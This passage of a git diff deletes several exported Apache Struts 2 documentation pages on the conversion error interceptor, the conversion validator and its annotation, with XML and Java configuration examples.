-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/conversion-error-interceptor.html b/content/docs/conversion-error-interceptor.html
deleted file mode 100644
index 2657e7d..0000000
--- a/content/docs/conversion-error-interceptor.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Conversion Error Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="conversion-error-interceptor.html">Conversion Error Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Conversion Error Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14116">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14116">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14116">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14116">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14116">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14116">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Struts 2 conversion error interceptor is a subclass of the XWork 2 conversion error interceptor.</p>
-
-<p>From the Javadocs of the XWork 2 interceptor:</p>
-
-<p>ConversionErrorInterceptor adds conversion errors from the ActionContext to the Action's field errors.</p>
-
-<p></p><p>
-This interceptor adds any error found in the ActionContext's conversionErrors map as a field error (provided
-that the action implements ValidationAware). In addition, any field that contains a validation error has its
-original value saved such that any subsequent requests for that value return the original value rather than the value
-in the action. This is important because if the value "abc" is submitted and can't be converted to an int, we want to
-display the original string ("abc") again rather than the int value (likely 0, which would make very little sense to
-the user).
-</p>
-
-<p></p><p>
-<b>Note:</b> Since 2.5.2, this interceptor extends MethodFilterInterceptor, therefore being
-able to deal with excludeMethods / includeMethods parameters. See [Workflow Interceptor]
-(class DefaultWorkflowInterceptor) for documentation and examples on how to use this feature.
-</p>
-
-
-<p>From the Javadocs of the Struts 2 interceptor:</p>
-
-<p></p><p>
-This interceptor extends ConversionErrorInterceptor but only adds conversion errors from the ActionContext to
-the field errors of the action if the field value is not null, "", or {""} (a size 1 String array with only an empty
-String). See ConversionErrorInterceptor for more information, as well as the Type Conversion documentation.
-</p>
-
-<h2 id="ConversionErrorInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>None</li></ul><p></p>
-
-
-<h2 id="ConversionErrorInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-There are no known extension points for this interceptor.
-</p>
-
-<h2 id="ConversionErrorInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;params&quot;/&gt;
-    &lt;interceptor-ref name=&quot;conversionError&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/conversion-validator.html b/content/docs/conversion-validator.html
deleted file mode 100644
index 1b39d6f..0000000
--- a/content/docs/conversion-validator.html
+++ /dev/null
@@ -1,262 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>conversion validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="conversion-validator.html">conversion validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">conversion validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14264">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14264">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14264">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14264">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14264">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14264">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="conversionvalidator-Description">Description</h1>
-<p>Field Validator that checks if a conversion error occurred for this field.</p>
-
-<h1 id="conversionvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li></ul>
-
-<h1 id="conversionvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;pre&gt;
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validator type=&quot;conversion&quot;&gt;
-    		&lt;param name=&quot;fieldName&quot;&gt;myField&lt;/param&gt;
-         &lt;message&gt;Conversion Error Occurred&lt;/message&gt;
-    &lt;/validator&gt;
-     
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;myField&quot;&gt;
-       &lt;field-validator type=&quot;conversion&quot;&gt;
-          &lt;message&gt;Conversion Error Occurred&lt;/message&gt;
-       &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/pre&gt;
-]]></script>
-</div></div>
-
-<h1 id="conversionvalidator-RepopulatingFielduponconversionError">Repopulating Field upon conversion Error</h1>
-<p></p><p>
-The capability of auto-repopulating the stack with a fake parameter map when
-a conversion error has occurred can be done with 'repopulateField' property
-set to "true".
-</p>
-
-<p></p><p>
-This is typically useful when one wants to repopulate the field with the original value
-when a conversion error occurred. Eg. with a textfield that only allows an Integer
-(the action class have an Integer field declared), upon conversion error, the incorrectly
-entered integer (maybe a text 'one') will not appear when dispatched back. With 'repopulateField'
-property set to true, it will, meaning the textfield will have 'one' as its value
-upon conversion error.
-</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!-- myJspPage.jsp --&gt;
-&lt;ww:form action=&quot;someAction&quot; method=&quot;POST&quot;&gt;
-  ....
-  &lt;ww:textfield
-      label=&quot;My Integer Field&quot;
-      name=&quot;myIntegerField&quot; /&gt;
-  ....
-  &lt;ww:submit /&gt;
-&lt;/ww:form&gt;
-
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!-- xwork.xml --&gt;
-&lt;xwork&gt;
-&lt;include file=&quot;xwork-default.xml&quot; /&gt;
-....
-&lt;package name=&quot;myPackage&quot; extends=&quot;xwork-default&quot;&gt;
-  ....
-  &lt;action name=&quot;someAction&quot; class=&quot;example.MyActionSupport.java&quot;&gt;
-     &lt;result name=&quot;input&quot;&gt;myJspPage.jsp&lt;/result&gt;
-     &lt;result&gt;success.jsp&lt;/result&gt;
-  &lt;/action&gt;
-  ....
-&lt;/package&gt;
-....
-&lt;/xwork&gt;
-
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!-- MyActionSupport.java --&gt;
-public class MyActionSupport extends ActionSupport {
-   private Integer myIntegerField;
-
-   public Integer getMyIntegerField() { return this.myIntegerField; }
-   public void setMyIntegerField(Integer myIntegerField) {
-      this.myIntegerField = myIntegerField;
-   }
-}
-
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!-- MyActionSupport-someAction-validation.xml --&gt;
-&lt;validators&gt;
-  ...
-  &lt;field name=&quot;myIntegerField&quot;&gt;
-     &lt;field-validator type=&quot;conversion&quot;&gt;
-        &lt;param name=&quot;repopulateField&quot;&gt;true&lt;/param&gt;
-        &lt;message&gt;Conversion Error (Integer Wanted)&lt;/message&gt;
-     &lt;/field-validator&gt;
-  &lt;/field&gt;
-  ...
-&lt;/validators&gt;
-
-]]></script>
-</div></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/conversionerrorfieldvalidator-annotation.html b/content/docs/conversionerrorfieldvalidator-annotation.html
deleted file mode 100644
index bc3a17c..0000000
--- a/content/docs/conversionerrorfieldvalidator-annotation.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ConversionErrorFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="conversionerrorfieldvalidator-annotation.html">ConversionErrorFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ConversionErrorFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13818">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13818">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13818">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13818">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13818">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13818">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks if there are any conversion errors for a field and applies them if they exist.
-See <a shape="rect" href="https://struts.apache.org/docs/type-conversion.html#TypeConversion-TypeConversionErrorHandling">Type Conversion Error Handling</a> for details.</p>
-
-<h2 id="ConversionErrorFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The ConversionErrorFieldValidator annotation must be applied at method level.</p>
-
-<h2 id="ConversionErrorFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="ConversionErrorFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@ConversionErrorFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/converting-application-from-codebehind-to-convention-plugin.html b/content/docs/converting-application-from-codebehind-to-convention-plugin.html
deleted file mode 100644
index af67297..0000000
--- a/content/docs/converting-application-from-codebehind-to-convention-plugin.html
+++ /dev/null
@@ -1,174 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Converting application from Codebehind to Convention Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
